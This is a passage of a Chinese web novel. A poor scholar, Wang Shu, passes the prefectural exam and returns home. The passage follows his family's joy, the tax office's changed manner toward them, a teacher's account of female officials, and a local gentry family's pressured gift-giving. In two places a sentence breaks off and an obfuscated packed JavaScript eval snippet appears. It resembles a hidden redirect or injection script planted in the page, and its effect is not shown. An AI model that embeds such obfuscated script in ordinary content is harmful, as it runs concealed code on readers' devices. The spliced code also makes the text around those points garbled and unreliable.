府试结束的铜锣声,在压抑的贡院中激起一片难以言喻的喧嚣与死寂。喧嚣的是骤然放松的神经、交卷时混杂着希望与绝望的叹息、以及考篮与地面摩擦的声响;死寂的,则是那些久久无法落笔、或自觉考砸了的学子空洞的眼神,和空气中弥漫的疲惫。 王树随着人流,缓慢地挪出那间逼仄的号舍。三天两夜的煎熬,不仅仅是脑力的极限压榨,更是对体力、意志和运气的残酷考验。他脚步有些虚浮,脸色苍白,但眼神深处,却有一簇微弱的火苗,尚未熄灭。 他交上去的答卷,自己心里也没底。经义题中规中矩,他自忖答得还算扎实;策论题却有些刁钻,触及边患与钱粮,他竭力回忆夫子的指点、翻阅过的邸报摘要,以及弟弟王佑那些看似童言、偶尔却直指关键的提问,勉强成篇,但总觉未尽其意。诗赋更是他的弱项,只能求个平稳,不敢奢望出彩。 走出贡院高大的门楼,刺目的天光让他微微眯起了眼。外面早已挤满了等待的家人、仆役,以及各种打探消息、兜售饮食的商贩,人声鼎沸,与贡院内的死寂判若两个世界。 同来的县学同窗,早已被家人接走,或呼朋引伴,要去酒楼放松一番,洗去这几日的疲惫。有人招呼王树同去,他摇了摇头,婉言谢绝。 他需要安静,需要消化这几日的得失,需要为可能到来的等待积蓄力量,也需要……拜访一个人。 他没有回赁住的那间廉价的大通铺客栈,而是径直去了刘廪生在府城的临时小院。 刘廪生见到他,并不意外。 “考得如何?”刘廪生语气平和,摒退下人,示意王树坐下。 王树恭谨地将自己的答题大概复述了一遍,没有隐瞒自己的困惑和不安。 刘廪生静静听着,手指轻轻敲击着桌面,半晌才道:“经义尚可,根基是稳的。策论……切入点尚可,但格局稍窄,对实务的理解流于表面。诗赋平平,无过便是功。” 他顿了顿,看着王树微微黯淡下去的眼神,话锋一转:“不过,此次府试,知府大人似乎更重经义实务,轻诗赋文采。你之短板,未必是致命伤,且安心等待吧。” 这番话,既是点评,也是安慰,更是一种非因他家贫而有的轻忽。 王树心中感激,深深一揖:“学生谨记先生教诲。无论结果如何,先生提携之恩,学生没齿难忘。” 从刘廪生处出来,王树的心绪略微安定了一些。接下来的日子,是王树此生经历过的最漫长、也最煎熬的等待。 他谢绝了所有无谓的邀约,将自己关在那间廉价客栈。白天,他要么去府城允许学子缴纳少许费用方可进入的藏书楼,借阅一些平日里难得一见的书籍,尤其是关于本朝地理、财政的杂书,默默记诵、思考;要么就在客栈用清水在地板上练字,反复揣摩文章结构。 夜晚,躺在散发着霉味和汗臭的大通铺上,听着同屋或鼾声如雷、或辗转反侧的声响,他常常闭着眼睛。脑海中,会不由自主地闪过贡院里那狭窄的号舍、考卷上未尽的语句…… 他一遍遍地问自己:“够了吗?那些文章,够得上一个童生吗?如果不够,怎么办?回家?面对父母失望却强作安慰的眼神?面对依旧贫困的家境和肩上沉甸甸的责任?” 恐惧,在接下来的日子里悄悄缠紧他的心脏。但他强迫自己不去深想,只是更用力地看书,更认真地练字,用不断地学习来麻痹那份等待的焦灼。 偶尔,他会去刘廪生那里请教遇到的疑难。刘廪生对他这种沉静刻苦的态度越发欣赏,讲解也越发细致。 放榜的日子,终于到了。 20. 王树考中童生 那天清晨,天色刚亮,贡院外的照壁前,就已经里三层外三层挤满了人。有锦衣华服的学子,有翘首以盼的家人,有看热闹的闲汉,更有穿梭其中、准备第一时间报喜讨赏钱的报子。 王树也早早到了,站在人群外围,背挺得笔直,双手却在袖中微微颤抖。心跳得如同擂鼓,耳中嗡嗡作响,几乎听不清周围的嘈杂。 红榜,在无数道炙热目光的注视下,被衙役们缓缓张贴上照壁。 刹那间,人群爆发出巨大的声浪!欢呼声、尖叫声、叹息声、哭泣声……混杂在一起,冲上云霄。 王树只觉得血液一下子冲上了头顶,眼前有些发花。目光缓慢扫过那长长的榜单。 从第一名开始看……没有。 前十名……没有。 前二十名……依旧没有。 他的心一点一点往下沉,寒意从脚底升起。 二十五……二十六……二十七…… 他的呼吸几乎停滞,目光机械地向下移动。 第二十八名……不是。 然后,他的目光,定格在了第二十九名的位置上。 那里,清清楚楚地写着:第二十九名广信府永丰县王家村王树。 那几个字,墨色淋漓,在朱红的底色上,像烙铁一样烫进他的眼里。 是他!真的是他! 一瞬间,难以言喻的巨大狂喜如海啸般席卷了他!所有的疲惫、焦虑、恐惧,在这一刻被冲刷得干干净净!眼前的世界似乎都明亮、旋转起来! 他中了!他真的中了!虽然名次不高,但这意味着,他通过了府试!他正式获得了童生功名!不再是白身,而是踏入了‘士’的最初阶层! 家中赋税可减! 可以……可以真正地为这个家,撑起一点点门楣,带来一点点实在的好处! “啊!” 一声混合着狂喜、辛酸、宣泄和巨大压力的长啸,从王树的喉咙深处迸发出来!他再也控制不住自己,泪水汹涌而出,瞬间模糊了视线。他像个孩子一样,毫无形象地在人群中放声大哭,肩膀剧烈地耸动着,仿佛要将这一个多月来的煎熬等待、将全家人的期盼与付出,都化作泪水倾泻出来! 周围有人投来诧异的目光,有人理解地摇头叹息,也有人露出羡慕的神色。但王树全都看不见,听不见。他的世界里,只剩下那张红榜上的那几个字,和胸中奔涌不息的热流与泪水。 不知哭了多久,他才渐渐止住。用袖子胡乱擦去满脸的泪痕,他深吸了几口气,努力平复激动的心绪。然后,他再次看向红榜,将那个名次、那个名字,深深地、深深地刻进心底。 他转过身,挤出依然喧闹的人群。没有立刻去找报喜的衙役登记,也没有像其他中榜者那样急于庆贺。 他的第一个念头,便是去拜谢刘廪生,然后回家,将这个消息亲自告诉家人! 阳光照在他依旧带着泪痕却熠熠生辉的脸上,他脚步如飞,穿过仍旧沉浸在放榜余波中的府城街道。 很快,他来到了刘廪生租住的小院外。院门虚掩,里面传来低低的说话声,似乎还有其他中榜的同窗前来拜谢。 王树在门口停下,深吸了几口气,整了整身上那件因为激动和奔跑而略显凌乱的青衫,又用手背用力擦了擦眼角残留的泪痕,努力让自己看起来平静些、体面些。然后,他抬手,郑重地叩响了院门。 “进来。”里面传来刘廪生平和的声音。 王树推门而入,只见不大的堂屋里,除了端坐主位的刘廪生,还有两个同样穿着新衫、面带喜色的同窗。见到王树进来,两人的目光都投了过来,这个穿着寒酸的同窗,他们有些印象,却不深。 王树目不斜视,径直走到堂中,对着刘廪生,撩起青衫前摆,端端正正地跪了下去,然后,以额触地,行了三个郑重的叩首大礼。 “学生王树,叩谢恩师提携教导之恩!”他的声音因为激动而微微发颤,却清晰有力,每个字都发自肺腑。 刘廪生看着跪在面前的王树,眼中闪过一丝欣慰和感慨。这个学生,出身最低,却最是刻苦,心性也最是沉稳坚韧。 “起来吧。”刘廪生虚抬了一下手,语气温和,“你之得中,是你自身勤勉。老夫不过略尽师长本分罢了。” 旁边一个面皮白净、衣着光鲜的同窗笑着接口道:“恭喜啊!二十九名虽是榜尾,却也难能可贵了!可见刘先生教导有方,王兄也是下了苦功的。” 王树仿佛没听出那弦外之音,起身后不卑不亢,对着那两人也是拱手一礼:“同喜。” 刘廪生瞥了那白面童生一眼,没说什么,转而问王树:“接下来有何打算?是留在府城等候院试,还是先回家中?” 王树毫不犹豫地回答:“回禀恩师,学生离家已久,心中挂念。且此次侥幸得中,亟需将消息告知父母家人,以安其心。学生打算即刻启程返乡。” 刘廪生点了点头:“嗯,孝心可嘉。院试在秋后,尚有数月时间。你回乡后,亦不可懈怠。经义文章,需时时温习。府试虽过,院试才是正途关键,且竞争更为激烈。你之根基,在策论、诗赋上尤需加强。回去后,若有余力,可多寻些时文策论研读,李元明那边,我也会写信提及。” “学生谨遵恩师教诲!”王树再次躬身。 刘廪生挥了挥手:“路上小心。到家后,代我向家中长辈问好。” “是!学生告退!”王树又行了一礼,这才转身,退出了堂屋。 走出小院,将里面隐约传来的谈笑声隔绝。王树站在巷子里,抬头看着碧蓝如洗的天空,长长地呼出一口气。 拜谢完毕,现在,该回家了! 他快步回到那间廉价客栈,匆匆收拾了简单的行李,结算了房钱,背起小小的包袱,走出客栈。 归心,已插上了翅膀,飞越了无数山水,落在了王家村那土坯院墙上。 来时心中充满忐忑与未知,归时胸膛激荡着喜悦与急切。他几乎是日夜兼程,渴了喝口溪水,饿了啃一口怀里早已干硬的饼子,困了就在路边的土地庙或大树下靠着眯一会儿。 初夏的风带着田野的清新气息,吹拂着他汗湿的衣衫。沿途的村庄、田野、河流,在他眼中都变得格外亲切。他仿佛已经看到了村口那棵老槐树,看到了自家院门打开,父母、姐姐、妹妹、弟弟的模样…… 第四天下午,当夕阳将天边染成一片绚烂的橘红时,王家村那熟悉的轮廓,终于出现在了地平线上。 王树的心跳骤然加速,脚步也不由自主地更快了。他几乎是跑了起来,背上的包袱随着他的跑动一下下拍打着后背。 村口,老槐树下,几个正在纳凉闲话的老人看到了他。 “哎?那不是……老实家的大小子吗?” “是王树!他回来了!” “看这急匆匆的样子……莫非是……” 王树没有停留,只是对着老人们的方向匆匆拱了拱手,便一阵风似的冲进了村子,朝着村尾自家跑去。 院子里,李氏正在喂鸡,王杏蹲在菜畦边拔草,王佑则坐在老树下,用小棍子在地上划拉着什么。王老实不在家中,大概又去地里了。 最先听到急促脚步声的是王佑,他抬起头,看向院门。 下一刻,院门被猛地推开,一个风尘仆仆、面带极度疲惫却双眼亮得惊人的身影,出现在了门口。 “娘!大姐!佑弟!我回来了!”王树的声音因为激动和长途跋涉而带着一丝沙哑,却更有一股压抑不住的亢奋。 李氏手里的瓢“咣当”掉在地上,鸡食洒了一地。她猛地转身,看着门口的大儿子,张着嘴,一时竟发不出声音。 王杏也倏地站了起来,手里的杂草掉落,眼睛瞪得大大的,死死地盯着弟弟。 王佑放下小棍,站起身,清澈的眼睛一眨不眨地看着大哥。 “树儿!你……你怎么……”李氏终于找回了自己的声音,颤抖着,几步冲过去。 王树一步跨进院子,反手带上院门,目光扫过母亲、大姐和弟弟,胸膛剧烈起伏着。他深吸一口气,仿佛要用尽全身的力气,一字一句,无比清晰地说道:“娘!大姐!佑弟!我……我府试,中了!” 话音落下,院子里一片死寂。 只有微风拂过院子老树叶子的沙沙声,和远处隐约的鸡鸣犬吠。 李氏脸上的表情凝固了,像是没听懂,又像是听懂了却不敢相信。她的嘴唇哆嗦着,眼睛一点点睁大,瞳孔里倒映着儿子那张虽然疲惫却光芒四射的脸。 王杏的身体剧烈地颤抖起来,泪水毫无征兆地汹涌而出,瞬间模糊了视线。她用手死死捂住嘴,不让自己哭出声,肩膀却控制不住地剧烈耸动。 王佑的小拳头,在身侧悄悄握紧。他看着大哥,看着他眼中那混合着狂喜、辛酸、释然和巨大压力的泪光,自己的鼻尖也猛地一酸。 “中……中了?”李氏的声音带着难以置信的颤抖。 “是真的!娘!”王树用力点头,眼泪也流了下来,“红榜贴出来了!第二十九名!我……我赶着回来告诉你们!” “我的儿啊!”李氏发出一声撕心裂肺般的哭喊,猛地扑上前,一把将儿子紧紧抱住,嚎啕大哭起来。 王杏也哭着扑了过来,紧紧抱住母亲和弟弟。 王佑走到他们身边,伸出手,拉住了大哥沾满尘土和汗水的衣角。 小小的院子里,再次被泪水淹没。但这一次的泪水,是滚烫的,是甜的,是冲刷掉所有阴霾的甘霖。 夕阳的余晖,将紧紧相拥的一家人,镀上了一层温暖而辉煌的金边。 当夜幕如青黛色的绸缎,悄然覆盖了天空。家禽归笼,虫鸣渐起,家家户户亮起了昏黄的油灯光。 王家小院里的激动与泪水,已经渐渐平息,李氏在灶间忙碌,手脚比往常轻快十倍,嘴里甚至哼起了多年未曾听过的乡间小调。她和了一点白面,取出一点猪油,又从瓦罐底摸出两个鸡蛋,她要给儿子做一碗有油有蛋的汤面! 王杏的眼睛还红肿着,但眼神里的光却不同了,那是卸下了千斤重担后的柔和平静。她安静地坐在弟弟身边,听他低声讲述府试的见闻,偶尔低声问上一句。 王佑依偎在大哥另一侧,小手支着下巴,专注地听着。王树的讲述经过了过滤,王佑能听懂那些背后的惊心动魄。他看着大哥脸上虽然疲惫却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中了……是童生了…… 这几个字,像惊雷一样在他劳苦了半生的世界里炸开!所有的疲惫、所有的隐痛、所有深埋心底不敢触碰的期盼与恐惧,在这一刻被这惊雷劈开、搅动、沸腾! 他张着嘴,喉咙里发出“嗬嗬”的声响,却说不出一句完整的话。脸上的肌肉不受控制地抽搐着,那常年被风霜雕刻出的皱纹,此刻仿佛被一股巨大的力量拉扯、揉皱,又试图展开成一个笑容,最终却变成一个极其复杂的表情。 “他爹!”李氏惊呼一声,连忙上前扶住他摇摇欲坠的身体。 王老实摆了摆手,示意自己没事。他闭上眼,用力深呼吸,胸膛剧烈地起伏着,试图平复那几乎要将他淹没的眩晕和激动。过了好一会儿,他才缓缓睁开眼,目光重新聚焦在依旧跪在地上的长子身上。 这一次,他的眼神变了。长久以来笼罩在眉宇间、几乎成为他一部分的沉重阴霾,像是被一阵狂风吹散。 他慢慢地、一步一顿地走上前,伸出那双布满厚茧、关节粗大、因长年劳作而变形的手,没有去扶儿子,而是颤抖着,轻轻地、小心翼翼地,放在了王树的头顶。他慢慢地抚过儿子的头发,动作颤抖而郑重,仿佛在进行某种古老而神圣的仪式。 他的声音嘶哑、干涩,带着近乎哽咽的颤抖:“好……好孩子……起来……快起来……” 王树没有立刻起来,他保持着跪姿,感受着父亲手掌那沉重而温暖的颤抖,泪水再次涌上眼眶。父亲这简单的几个字和这笨拙的一抚,胜过千言万语的褒奖。 王杏早已背过身去,肩膀微微耸动。李氏也在一旁抹着眼泪,却是笑着的。 王佑静静地看着这一幕,心中涌起一股滚烫的热流,几乎要冲破他惯常的平静。来到这个世界,他见过这个家庭的贫困、挣扎、无奈、悲伤,也见过这个家庭之间沉默的扶持和坚韧。但像此刻这般,纯粹、毫无阴霾、几乎要从每个人胸膛里满溢出来的巨大喜悦,是他第一次感受到。 王老实将王树扶起,父子俩相对而立。他上下打量着长子,像是第一次真正看清他,又像是要把他此刻的样子牢牢刻进心里。他的嘴唇还在微微哆嗦,最终,也只是重复了一遍:“好……真好啊……” 李氏端上了那碗卧着荷包蛋、飘着油花和葱花的面条,王树推让不过,最终在家人带着笑意的目光催促下,小口小口地吃完。那面条的滋味,是他此生吃过最美味的食物。 王老实的话比平时多了不少,虽然大多还是关于田地、庄稼,但语气里却少了许多沉郁,多了一丝对未来的期待。 王杏坐在灯影里,安静地听着,手里缝补着一件旧衣,针脚是这些日子以来最平稳的一次。 王佑依偎在大哥身边,感受着这份暖烘烘的喜悦在小小的堂屋里流淌、弥漫。他知道,明天,当这个消息传遍村子,会有更多更复杂的事情接踵而至。 周家、税吏、乡邻……这个家将面临新的考验。 但此刻,他只想沉浸在这份来之不易的喜悦里。 那一晚,王家那盏油灯燃到很晚。 21. 女官制度 晨光熹微,鸡鸣三遍,王家小院的喜悦尚在梦乡中温存,村外的世界却已暗流涌动。 最先作出反应的,是这片土地上最敏锐的触角。 永丰县户房的书办,在府试放榜后的第三天,就收到了盖有府学政衙门大印的新晋童生名录誊抄。当王树这个名字及其籍贯映入眼帘时,书办用朱笔在王家村旁轻轻一点,打了个勾。不到一日,一道注明‘王家村王户,子王树新晋童生,依律优免丁银一钱、差役折银两钱,共三钱,自本年起执行’的墨条,便随着其他税赋文书,由跑腿的快手送抵了负责王家村一带的粮长手中。 粮长捏着那张轻飘飘却重如千钧的墨条,嘴角撇了撇,嘀咕了一句:“倒是让这老王头家捡着了。” 语气说不上是羡慕还是酸涩。他不敢怠慢,立刻唤来手下最机灵的税丁,吩咐道:“去王家村王老实家,把这变更告知。记住,客气些。” 于是,在王树归家后的第二天一早,一个穿着半旧皂隶服、脸上惯常带着三分倨傲的年轻税丁,破天荒地没有径直闯进王家院门,而是在门外清了清嗓子,用带上点笑意的声音喊道:“王老爷子在家吗?县里户房有文书带到!” 正在院里劈柴的王老实闻声一愣,手中斧头顿了顿;李氏从屋内探出头,脸上闪过一丝紧张;王树正坐在窗前温书,闻言放下书卷,眉头微蹙;王佑则迅速隐到了门后阴影里,竖起耳朵。 王老实放下斧头,拍了拍手上的木屑,走过去打开院门。见到税丁,他心头本能地一紧,腰背下意识地弯了弯,但随即想起儿子已是童生,那弯下去的脊梁又硬生生挺直了些。 “差爷,有何吩咐?” 税丁将手里的文书往前一递,脸上堆着笑:“恭喜王老爷子,王树高中童生,县里户房已经录档。按朝廷优免章程,自今年起,丁银和差役银共计免去三钱。这是变更文书,您老过目画……呃,收好便是。” 三钱银子!对王家而言,这几乎是一季口粮的钱!王老实接过那张盖着红印的纸,手指微微颤抖,生硬地学着客套话:“有劳差爷跑这一趟。” “应该的,应该的!”税丁连连摆手,眼珠转了转,压低声音道,“老爷子,如今您家已不同往日了。这田赋、粮长加派……往后若有为难之处,或可……酌情商议。” 王老实不置可否地“嗯”了一声,没有接话。税丁也不多留,拱了拱手,转身便走。 税丁前脚刚走,后脚王家那个‘老实家大小子中了童生,连税吏都客气三分’的轶闻,就随着夏日燥热的风,迅速刮遍了王家村的每一个角落。在家的提着一些白面和常见的吃食来王家结个善缘。田间地头,井台河边,村民们议论纷纷,语气里充满了不可思议、羡慕、以及一丝难以言喻的敬畏。 “老王头家,这是真要翻身了?” “小树那娃子才十三岁吧?真了不得啊!” “听说府试好几百号人,才取前三十名!” “怪不得那税狗子今天夹着尾巴做人……” “周老爷家,怕是坐不住了吧?” 而此刻,镇上周府那幽静的书房里,确实有人坐不住了。 周老爷,名立文,正端着青瓷盖碗,用碗盖轻轻撇去浮沫,听着下首站着的管事详细禀报。 “……府试第二十九名,年仅十三,是本届府试最年轻的童生。其父王老实,佃农兼自耕少许薄田,家境清贫。其大姐王杏,曾于永顺工坊做工四年有余,今已赎归。其下有一妹一弟,妹王桃,尚在学馆读书;弟王佑,年约五岁,据说……颇为沉静。” 周管事事无巨细,将王家情况娓娓道来,连王老实星夜送钱都打探得一清二楚。 周立文吹了吹茶沫,缓缓啜饮一口,眼神幽深:“十三岁的童生……确实难得。府试名次虽靠后,但年纪摆在那里,潜力不小。李元明那个老童生,倒是教出个好学生。” 他放下茶碗,指尖在光润的红木桌面上轻轻敲击:“王家如今,最缺什么?” 周管事略一思索:“银钱仍是首要。王树秋后赴院试,盘缠、打点、笔墨,样样需钱。其家仅有薄田,王老实腰伤,劳力不足。此外,李元明之学,指点院试,怕已力有不逮。” 周立文嘴角浮起一丝成竹在胸的笑意:“雪中送炭,好过锦上添花。你去备上等湖笔两支,松烟墨两锭,府城文萃阁新出的时文集一部,再封十两……不,二十两银子。以祝贺王树高中童生、勉励其潜心向学之名,亲自送去。” 周管事心头一跳,面上却恭敬应道:“是,老爷。可要提及……账房学徒之事?” 周立文摆摆手:“暂且不必。此时再提,显得急功近利,反落了下乘。此次只贺喜,表善意,示支持。王家只要收了这些,自然明白意味着什么。那王树若是个有志气的,院试之前,必不敢怠慢,也……必不敢忘了我周家今日之情。” 他顿了顿,眼中精光一闪:“特别是那部时文集,乃府城几位致仕老翰林点评的院试热门范文汇编,有价无市。你告诉王树,此书乃我特意托人从府城购得,望他勤加研习,院试再创佳绩。” 周管事心领神会:“那王家若是又推辞……” “李元明上次代为推了银钱,是怕王家骤然受重礼,引人非议,也怕王树年少,被钱财所迷。此次不同,贺高中之喜,赠笔墨书籍,助其学业,名正言顺。你态度要诚挚,礼数要周全,当着村里人的面送去。” 周老爷笃定道:“王家如今,没有拒绝的底气,也没有拒绝的理由。” 周管事躬身退下,立刻着手准备。 另一条蜿蜒的田间小径上,两个身影也正匆匆赶来。 走在前面的,正是拄着竹杖的李夫子。他步伐比平日急促,额角带着细汗,脸上却不见疲惫,反而有种压抑不住的欣慰与急切。跟在他身后的,是背着一个小包袱的王桃。小姑娘脸颊微红,气息有些喘,眼睛却亮晶晶的,紧紧跟着夫子的脚步。 他们是今早才从李家村一个赶早集回来的村民口中,听说了王树归家并确认中榜的消息。李夫子当即便决定动身,连王桃一并带回家。 “夫子,您慢些,当心脚下。”王桃见李夫子走得急,忍不住小声提醒。 “无妨,无妨。”李夫子摆摆手,目光却已投向不远处的王家村轮廓,“你兄长此次得中,乃勤勉所致,亦是你全家心血所系。为师……心中甚慰,甚慰啊!” 王桃听着夫子语气中的激动,心中也满是骄傲与欢喜。她在学馆学习期间学业尚可,未曾给大哥和家里丢脸。如今大哥高中,她只觉得脚下生风,恨不得立刻飞到家人面前。 两人赶到王家院门外时,日头已近中天。院门虚掩着,里面传来李氏低声哼着小调做饭的声音,还有王佑似乎在念诵什么的稚嫩嗓音。 李夫子停下脚步,整了整衣冠,这才抬手,轻轻叩响了门板。 门吱呀一声打开,王杏看到门外站着的李夫子和妹妹,先是一愣,随即脸上绽开一个惊喜的笑容:“夫子,请。” 她的声音惊动了屋里人。王树第一个抢步出来,见到恩师,连忙上前深深一揖:“学生不知恩师驾临,有失远迎,万望恕罪!” 李夫子一把扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李夫子感慨道:“科举正途固然是金光大道,但朝廷取士,也并非唯科举一途。当今圣上开明,女官之制虽未大行,但在内廷、尚宫局、乃至一些专司文书、典籍、医卜的衙门,亦有遴选通文墨、晓事理的良家女子充任,品级虽不甚高,却也是正经的朝廷命官,享有俸禄,见礼于外臣。” “女官?” 王老实和李氏一脸茫然,显然从未听闻;王树若有所思;王桃更是睁大了眼睛,满是好奇。 最震惊的,却是王佑。他表面上依旧安静,内心却掀起了波澜。大梁朝居然有女官制度?虽然听李夫子的描述,这制度规模不大,地位也不如科举出身的官员,但它的存在本身,就意味着这个时代对女性才能的某种有限度的认可,以及一条极其狭窄、却真实存在的女性晋升通道! 这和他之前根据‘类似明朝中后期’的推断所产生的印象,出现了微妙的偏差。这个大梁朝,似乎在某些方面,比他所知的明朝要……略微开明那么一丝?或者,是明朝本身也有类似制度,但自己前世的历史知识不够细致! 李夫子见他们惊讶,便多解释了几句:“本朝女官之选,多从官宦、书香之家,或地方荐举聪慧守礼、通晓文墨之女子,经考核后录用。职责多在宫廷服务、掌管文书礼仪、教导宫女等。虽不似外朝官员掌实权,但也需才学与品性。听闻近年来,因北疆战事文书浩繁,某些非机要的文牒整理之事,亦有征调部分女官协助。” 他说着,目光却似有若无地扫过王桃。 王桃原来以为女子读书,除了不被人骗,竟真的还有这么一点点能为朝廷做事的可能? 王佑的大脑则在飞速运转。女官制度的存在,修正了他对这个世界女性地位的认知下限。这或许能成为未来影响二姐命运的一个潜在变量。 22. 周家二次登门 就在李夫子又勉励了王树几句,叮嘱他不可因中童生而自满,院试才是真正难关时,院门外,传来了马车停驻的声音,以及周管事那刻意拔高、显得格外热情响亮的嗓音: “王家老爷、夫人可在?奉我家周老爷之命,特来祝贺王树公子高中童生之喜!” 堂屋内的气氛,瞬间为之一变。 李夫子捻须的手指微微一顿,不动声色地端起粗陶茶碗。王老实脸上的激动与感慨瞬间凝固。李氏下意识地攥紧了围裙,望向门口的方向,又担忧地看向儿子。 王树深吸一口气,挺直了脊背。方才与恩师谈论学问前程时的松弛与热切,迅速被审慎取代。 王佑悄然从自己的小凳上滑下,挪到了堂屋最靠里的阴影角落,垂下眼睑,长长的睫毛掩盖了眼中所有思绪。他心念电转,前世的记忆与今生的观察急速拼接: 明朝中后期,乡绅阶层的权力触角深入乡村骨髓。他们不仅是经济上的大地主,更是基层社会的实际控制者,通过姻亲、师门、联宗、控制里甲、把持讼狱、影响官府征税徭役等手段,编织成一张密不透风的网。普通农户在其面前,几无招架之力,要么依附,要么被吞噬。 周家,便是典型的此类乡绅。他们对王家的投资,绝非善心,而是看中了王树作为潜力股可能带来的长期回报。 他目光快速扫过堂屋内众人:父亲过于老实且对周家权势心存畏惧,母亲不善应对,大姐二姐更不合适。唯有大哥,作为新晋童生、事件核心,以及李夫子这位具备一定社会声望和智慧的老童生在场…… 王佑抬起眼帘,清澈的目光极其短暂地与王树交汇了一瞬,然后又飞快地垂下,小脸上只有孩童面对陌生来客时略带怯生的安静。 王树接收到了弟弟那短暂却异常平静的一瞥。这目光像一颗定心丸,让他因周家突然到来而有些纷乱的心绪迅速沉淀下来。他看了一眼恩师李夫子,见夫子神色沉静,并无退缩之意,心中稍定。 这时,院门已被王老实迟疑地拉开。周管事那张堆满笑容的脸出现在门口,身后跟着两个小厮,手里捧着盖着红绸的礼盘,在阳光下颇为醒目。 “哎呀,王老爷子,恭喜恭喜!哦?李老先生也在?真是巧了!”周管事目光一扫,看到堂屋内的李夫子,脸上笑容更盛,眼中却掠过一丝意外。 “周管事。”李夫子放下茶碗,微微颔首,算是打过招呼,态度不冷不热。 王老实有些局促地侧身:“周管事请进。” 周管事也不客气,带着小厮踏进院子,站在院中朗声道:“奉我家老爷之命,特来恭贺王树高中童生!周老爷听闻王树有此成就,欣喜不已。特备薄礼,以资勉励,望王树百尺竿头,更进一步!” 他一挥手,两个小厮上前,将礼盘上的红绸揭开,露出里面的东西。 王老实的呼吸粗重起来,李氏捂住了嘴。王树瞳孔微缩,手悄悄握紧。李夫子眼中精光一闪,嘴角向下抿了抿。 周管事将众人的反应尽收眼底,心中得意,面上却愈发诚恳:“王老爷子,李老先生,王童生,此乃我家老爷一点心意。笔墨书籍,助王童生研磨学问;些许银两,聊补备考之需。院试在即,盼王公子心无旁骛,专心向学,再传捷报!” 王树顿时感到压力如山。拒绝?凭什么?又怎么拒绝?周家势大,如此礼贤下士,若断然回绝,便是当众打脸,后果难料。接受?这礼太重,欠下了天大的人情,未来如何偿还?周家的关照,恐怕会如影随形。 他下意识地又想看向弟弟王佑,却强行忍住。目光转向了李夫子。 李夫子缓缓站起身,走到堂屋门口,挡住了部分周管事投向屋内的视线。他捋了捋胡须,声音平和:“周老爷厚意,老夫代王树谢过。周老爷心系乡梓,奖掖后进,实乃雅事。” 周管事笑容不变:“李老先生过誉,我家老爷一向爱才。” 李夫子话锋一转,却道:“只是,王树新晋童生,功名初立,年纪尚幼。古人云,君子慎独,亦当慎得。骤然受此厚赠,恐非其福,易滋骄矜之心,或惹外界非议,反不利于其静心向学,辜负周老爷一番美意。” 他看向王树,语气转为教导:“王树,你师从于我,又蒙县学刘大人指点,当知学问之道,贵在自身勤勉踏实,外物不过辅助。周老爷关爱之意,你当铭记于心,化作鞭策之力。然这些贵重之物,于你此刻,或许并非最宜。” 王树立刻会意,站起身,走到李夫子身侧,对着周管事郑重一揖,语气诚恳而不失分寸:“学生王树,多谢周老爷厚爱,亦多谢周管事辛苦送来。周老爷奖掖之心,学生感激不尽,定当刻苦攻读,不负期望。” 他顿了顿,按照李夫子暗示的思路,继续说道:“只是正如恩师所言,学生功名微末,学识浅陋,正当沉心静气、夯实根基之时。如此厚礼,学生受之有愧,亦恐心志不坚,徒惹纷扰。” 他抬起头,目光清澈:“周老爷的美意,学生拜领。然这些礼物,还请周管事带回,转呈周老爷,言明学生心志,望周老爷体谅。他日学生若有所成,必不忘周老爷今日激励之情。” 周管事脸上的笑容僵硬了一瞬,眼底闪过一丝阴霾。他看向李夫子,语气微妙:“李老先生教导有方,王公子少年老成,令人钦佩。只是……我家老爷一片诚心,若原样带回,恐老爷责怪小人办事不力啊。况且,这些书籍笔墨,乃特意托人从府城觅得,于王相公备考院试,或许略有裨益……” 李夫子捋须的手微微一顿,一直躲在最里面的王佑,忽然用极小的声音,像是无意识的自言自语般嘟囔了一句:“……书……大哥说想看新书……” 声音很轻,只有王杏离得近,她听到了。她先是愣了一下,随即,轻轻拉了拉旁边王桃的袖子。 王桃不明所以,看向姐姐。王杏用眼神示意了一下那些礼物,极轻微地摇了摇头,又对那本书点了点头。王桃眨了眨眼,似乎明白了什么。 这个几乎无人察觉的互动,落在了正用眼角余光观察着家人反应的李夫子眼中。 李夫子心中一动,语气缓和了些:“周管事所言也有理。周老爷特意寻来的备考书籍,确是一番心意,亦是王树所需。若一概推却,反而辜负周老爷为乡梓学子费心搜罗的雅意。” 他看向王树:“王树,赐书勉励,此乃长者赐,不可辞。你可拜领此书,勤加研读,方不负周老爷期许。至于其他,你心意已明,想来周老爷亦能体谅你专心向学、不慕外物之志。” 王树立刻领会,再次向周管事躬身:“恩师教诲的是。学生拜谢周老爷赠书之德,定当仔细研读,不负所望。其余厚礼,实在愧不敢当,万望周管事在周老爷面前代为陈情,学生感激不尽。” 周管事脸上的肌肉抽动了一下,笑容淡了些:“李老先生考虑周详,王童生志存高远,佩服。既如此,小人便依言回禀老爷。望王童生早日金榜题名,光耀门楣,也不枉我家老爷一番期许。” 他示意小厮将书送上,然后将银封和笔墨重新盖好,脸上的笑容已恢复了职业化的客套,拱了拱手:“既如此,小人便不打扰了,告辞。” 目送周管事的马车离开,院门重新关上,王树捧着那部沉甸甸的《文萃阁精选》,心情复杂。 李氏定了定神,转身快步走向灶间:“夫子一路辛苦,又帮着应付……粗茶淡饭,夫子千万别嫌弃。” 王老实也搓着手,讷讷地不知说什么好,只是将李夫子重新让进堂屋上座,又忙不迭地去找家里最好的陈年粗茶梗。 李夫子摆摆手,神色已恢复平日的温和:“不必张罗,家常便饭即可。” 他的目光在屋内扫过,掠过神情尚有余悸的王杏、王桃,不经意地落在了角落那个异常安静的小小身影上。 王佑低垂着眼,仿佛刚才那场足以决定家庭未来走向的微妙较量与他全然无关。他手里捏着一截不知从哪里捡来的光滑小石子,指尖无意识地摩挲着石面,神态是孩童特有的懵懂。 